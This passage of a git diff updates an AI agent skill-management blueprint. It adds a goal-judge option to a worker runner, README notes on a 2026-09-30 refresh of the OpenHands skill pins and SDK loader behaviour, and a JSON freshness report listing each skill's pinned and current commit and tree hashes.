judge_llm = LLM(**{**worker_llm_config(os.environ, os.environ["OPENHANDS_RUN_ID"]), + "usage_id": profile["goal"]["usage_id"]}) + outcome = run_goal(conversation, task, judge_llm, max_iterations=profile["goal"]["max_iterations"]) + judge_metrics = judge_llm.metrics.model_dump(mode="json") + else: + conversation.send_message(task) + conversation.run() state = conversation.state summary = { "versions": versions, @@ -214,6 +327,8 @@ def record_event(event): "invoked_skills": list(state.invoked_skills), "listed_skills": sorted(skills), "native_metrics": conversation.conversation_stats.get_combined_metrics().model_dump(mode="json"), + "goal": {"status": outcome.status, "iterations": outcome.iterations} if outcome else None, + "goal_judge_metrics": judge_metrics, } (output / "native-summary.json").write_text(json.dumps(summary, indent=2) + "\n") finally: diff --git a/blueprints/runtime-workers/skills/README.md b/blueprints/runtime-workers/skills/README.md index 810ba464f..92a43caf4 100644 --- a/blueprints/runtime-workers/skills/README.md +++ b/blueprints/runtime-workers/skills/README.md @@ -19,9 +19,18 @@ on the builder's PATH; synthetic subprocess tests are labeled as such in [validation](validation.json). Worker discovery, invocation, task quality and prompt cost are the next native acceptance measurements. +The [2026-09-30 refresh](refresh-20260930.json) advances 73 OpenHands entries to +`9495f4c59dd5fea2cee9e87ab37a6abda649627b`: their complete native Git folder +trees and actual `SKILL.md` bytes match the earlier pin. Four changed trees retain +the earlier pin. An isolated SDK 1.50 source-discovery fixture found all 77 +OpenHands names; invocation, provider usage and runtime acceptance remain pending. +[Task profiles](profiles.json) select the existing scenario/role intersections as +advisory metadata. They do not install the roster or configure a runtime. + ## Source selection and collisions -`OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880` is release +The original inventory is frozen at +`OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880`, release `v0.25.0`, published 2026-09-27. Its recursive tree contains **66** `skills//SKILL.md` files and **18** plugin skill entrypoints. The manifest records all 84 in `openhands_inventory`: 77 selected, seven explicitly excluded. @@ -328,17 +337,27 @@ python3 tools/adoption/runtime_skill_freshness.py \ **OpenHands:** use the actual worker workspace as `--project-dir`. The inspected SDK loads `.agents/skills` natively and prefers it over the legacy location. -Reference: [OpenHands/software-agent-sdk@da28c773 skill.py:1052](https://github.com/OpenHands/software-agent-sdk/blob/da28c7736ea667ceae51cf3a3b9b37ab5f528f22/openhands-sdk/openhands/sdk/skills/skill.py#L1052). -This source pin is an inspected capability, not an implicit SDK upgrade. Match -the worker's installed revision before claiming it follows this path, then start +Reference: [OpenHands/software-agent-sdk@dcf401af skill.py:1049](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/skills/skill.py#L1049). +The isolated SDK/tools environment reports 1.50.0 at that pristine source pin; +the [current worker recipe](../openhands/README.md) keeps its runtime gates. +Match the worker's installed revision before claiming it follows this path, then start a fresh conversation with the native project loader enabled: `load_project_skills` -is `False` by default. Enabling it also loads the work directory's and its Git +is [`False` by default](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/context/agent_context.py#L127). Enabling it also loads the work directory's and its Git root's `AGENTS.md`, `CLAUDE.md` and other third-party instruction files as permanent context -([skill.py:1084-1121](https://github.com/OpenHands/software-agent-sdk/blob/fcc102a697874d54a357e36004e02c95040dbdc0/openhands-sdk/openhands/sdk/skills/skill.py#L1084-L1121)), +([skill.py:1084-1127](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/skills/skill.py#L1084-L1127)), so keep the worker project outside this repository; exclude any unwanted skill by name with `disabled_skills`. +Expose only the names/descriptions selected for the current role and task. +Native [`to_prompt`](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/skills/skill.py#L1453) +omits skill locations, and native +[`invoke_skill`](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/openhands/sdk/tool/builtins/invoke_skill.py#L90) +renders the selected body. The task-profile file is a selection map for an owned +caller; no new loader or wrapper is supplied. Its environment boundaries keep +Canvas and Cloud/automation tasks explicit. Profile-backed GitHub automation +resources do not establish compatibility with this local SDK/server recipe. + **DeerFlow:** the repository's recorded native pin is `42334f26d7025d905678f9075b079fc65f9beaf9` (see its [existing receipt](../../us-equities/deerflow/native-receipt.json)). That loader diff --git a/blueprints/runtime-workers/skills/freshness-20260930-before.json b/blueprints/runtime-workers/skills/freshness-20260930-before.json new file mode 100644 index 000000000..f503fe53b --- /dev/null +++ b/blueprints/runtime-workers/skills/freshness-20260930-before.json @@ -0,0 +1,1940 @@ +{ + "schema_version": 1, + "kind": "runtime_skill_freshness_report", + "checked_at": "2026-09-30T06:30:45.650851+00:00", + "report_only": true, + "cli": { + "pinned": "1.7.0", + "latest": "v1.7.0", + "drift": false + }, + "native_check": { + "executed": false, + "source": "https://github.com/vercel-labs/skills/blob/7407f3893ad4dceab546ac002c3ef806e4000c73/src/cli.ts", + "pinned_version": "1.7.0", + "pinned_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "reason": "check aliases update and can reinstall/remove (the manifest's cli.notes for this pin). Commit refs remain pinned; HEAD comparison is separate. No worker lock or installation was read or changed." + }, + "skills": [ + { + "name": "add-javadoc", + "source": "OpenHands/extensions", + "path": "skills/add-javadoc", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "4fab124ceaaa67a393a674384015158e3f50b100", + "head_tree": "4fab124ceaaa67a393a674384015158e3f50b100", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-browser", + "source": "vercel-labs/agent-browser", + "path": "skills/agent-browser", + "status": "trial", + "pinned_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "head_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "pinned_tree": "82def67855a0d2aad7794207951820fa5422fdb0", + "head_tree": "82def67855a0d2aad7794207951820fa5422fdb0", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-canvas-environment", + "source": "OpenHands/extensions", + "path": "skills/agent-canvas-environment", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "head_tree": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-creator", + "source": "OpenHands/extensions", + "path": "skills/agent-creator", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "head_tree": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-memory", + "source": "OpenHands/extensions", + "path": "skills/agent-memory", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7ae7fc4e3658214947c683162df6dce3a910d813", + "head_tree": "7ae7fc4e3658214947c683162df6dce3a910d813", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-readiness-report", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/agent-readiness-report", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "head_tree": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-sdk-builder", + "source": "OpenHands/extensions", + "path": "skills/agent-sdk-builder", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "head_tree": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "agentic-actions-auditor", + "source": "trailofbits/skills", + "path": "plugins/agentic-actions-auditor/skills/agentic-actions-auditor", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "3c07fa0b66ec665df1b17f5e09ab3e735f627029", + "head_tree": "3c07fa0b66ec665df1b17f5e09ab3e735f627029", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "azure-devops", + "source": "OpenHands/extensions", + "path": "skills/azure-devops", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "head_tree": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket", + "source": "OpenHands/extensions", + "path": "skills/bitbucket", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "459944c2558e7d82bc70f367c6ba084a276de343", + "head_tree": "459944c2558e7d82bc70f367c6ba084a276de343", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket-cloud", + "source": "OpenHands/extensions", + "path": "skills/bitbucket-cloud", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a54aed17547b26848f508043b2ea24e14339d77a", + "head_tree": "a54aed17547b26848f508043b2ea24e14339d77a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket-data-center", + "source": "OpenHands/extensions", + "path": "skills/bitbucket-data-center", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "head_tree": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "brainstorming", + "source": "obra/superpowers", + "path": "skills/brainstorming", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "03d4c6657cd20ba0fce9d270fc688150bd191c3b", + "head_tree": "03d4c6657cd20ba0fce9d270fc688150bd191c3b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "build-setup", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/build-setup", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "head_tree": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "canvas-extension-api", + "source": "OpenHands/extensions", + "path": "skills/canvas-extension-api", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d801371678229dcbb20d642ec95c5a74fce4ef83", + "head_tree": "e57c058a5fd1790769a30bd09691bf306826fea7", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "cobol-modernization", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/cobol-modernization", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "head_tree": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "code-review", + "source": "OpenHands/extensions", + "path": "skills/code-review", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "bd04e3765993619aae24ccabbd84b94121464334", + "head_tree": "bd04e3765993619aae24ccabbd84b94121464334", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "code-simplifier", + "source": "OpenHands/extensions", + "path": "skills/code-simplifier", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "head_tree": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "codebase-design", + "source": "mattpocock/skills", + "path": "skills/engineering/codebase-design", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "344e3efc88ee60663b2e989555c2efdb548fbd42", + "head_tree": "07ba1cd60efc12d0d3a083005c1d9651cf15e39a", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "codeql", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/codeql", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "1490253d767cc2c5e48f1245a681ee59cc52eb4f", + "head_tree": "1490253d767cc2c5e48f1245a681ee59cc52eb4f", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "datadog", + "source": "OpenHands/extensions", + "path": "skills/datadog", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "head_tree": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "deno", + "source": "OpenHands/extensions", + "path": "skills/deno", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "521248e905142109eedf85ed8b05d12d7f95c099", + "head_tree": "521248e905142109eedf85ed8b05d12d7f95c099", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "diagnosing-bugs", + "source": "mattpocock/skills", + "path": "skills/engineering/diagnosing-bugs", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "99bd56983e42bc752c52da67f1112e4121781cd1", + "head_tree": "de4236cf34757c4e9ea7afe78d46c023213ff254", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "diagnosing-superpowers", + "source": "obra/superpowers", + "path": "skills/diagnosing-superpowers", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "9a975225f7a42de50cd2d43483701b6348f99fd5", + "head_tree": "9a975225f7a42de50cd2d43483701b6348f99fd5", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "discord", + "source": "OpenHands/extensions", + "path": "skills/discord", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "head_tree": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "dispatching-parallel-agents", + "source": "obra/superpowers", + "path": "skills/dispatching-parallel-agents", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "15697cb0726c26a66bff737494e8b5266667ba0c", + "head_tree": "15697cb0726c26a66bff737494e8b5266667ba0c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "doc-coauthoring", + "source": "anthropics/skills", + "path": "skills/doc-coauthoring", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "d9df960e61fe2bafe9183e37de6f9f6b73b74087", + "head_tree": "d9df960e61fe2bafe9183e37de6f9f6b73b74087", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "docker", + "source": "OpenHands/extensions", + "path": "skills/docker", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7e742029273a6cd801c5fd1610bc052e467479b4", + "head_tree": "7e742029273a6cd801c5fd1610bc052e467479b4", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "docx", + "source": "anthropics/skills", + "path": "skills/docx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "6e6f5b95c1de6e803cc07b214f5059b074d64e0c", + "head_tree": "6e6f5b95c1de6e803cc07b214f5059b074d64e0c", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "domain-modeling", + "source": "mattpocock/skills", + "path": "skills/engineering/domain-modeling", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "388c9822641805ca2dcd5038e68a1d5282437ee5", + "head_tree": "ea30ee454ba264543dbe40737973b1a5afb9f0e6", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "evidence-based-citations", + "source": "OpenHands/extensions", + "path": "skills/evidence-based-citations", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "head_tree": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "executing-plans", + "source": "obra/superpowers", + "path": "skills/executing-plans", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "899ffeab92be3de6cd9ed0078b32737b18b8c135", + "head_tree": "899ffeab92be3de6cd9ed0078b32737b18b8c135", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "find-skills", + "source": "vercel-labs/skills", + "path": "skills/find-skills", + "status": "trial", + "pinned_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "head_ref": "3694740352eeef5cdd689af694c485f1ff62eec3", + "pinned_tree": "76a98a285cb0434f3d39e1a873823556330e398b", + "head_tree": "76a98a285cb0434f3d39e1a873823556330e398b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "native_check_advances_commit_pin": false + }, + { + "name": "finishing-a-development-branch", + "source": "obra/superpowers", + "path": "skills/finishing-a-development-branch", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "3b1205aa5038c71946077dd63b9e71b447729e70", + "head_tree": "3b1205aa5038c71946077dd63b9e71b447729e70", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "fp-check", + "source": "trailofbits/skills", + "path": "plugins/fp-check/skills/fp-check", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "f3f830417667dc3a202b1cb40948bc26ce26ddbf", + "head_tree": "f3f830417667dc3a202b1cb40948bc26ce26ddbf", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "frontend-design", + "source": "anthropics/skills", + "path": "skills/frontend-design", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "d79e2a5bb4df4a386c2adcdd9ab8709bba28c3f6", + "head_tree": "d79e2a5bb4df4a386c2adcdd9ab8709bba28c3f6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "gh-address-comments", + "source": "openai/skills", + "path": "skills/.curated/gh-address-comments", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "042316bece4a9f832145dcff7d5506e99fe3ecf1", + "head_tree": "042316bece4a9f832145dcff7d5506e99fe3ecf1", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "gh-fix-ci", + "source": "openai/skills", + "path": "skills/.curated/gh-fix-ci", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "3f99938c9464393f27cc4cc00e4ba17387517803", + "head_tree": "3f99938c9464393f27cc4cc00e4ba17387517803", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "github", + "source": "OpenHands/extensions", + "path": "skills/github", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "02cea5f01bd171145824a074ee680881fcfdc08f", + "head_tree": "53cc65403e8a95b5fce83db28ca1f51e663b0bdc", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-actions", + "source": "OpenHands/extensions", + "path": "skills/github-actions", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "head_tree": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-agents-md-maintainer", + "source": "OpenHands/extensions", + "path": "skills/github-agents-md-maintainer", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "head_tree": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-delivery-watchdog", + "source": "OpenHands/extensions", + "path": "skills/github-delivery-watchdog", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "head_tree": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-issue-to-pr", + "source": "OpenHands/extensions", + "path": "skills/github-issue-to-pr", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "head_tree": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-issue-triage", + "source": "OpenHands/extensions", + "path": 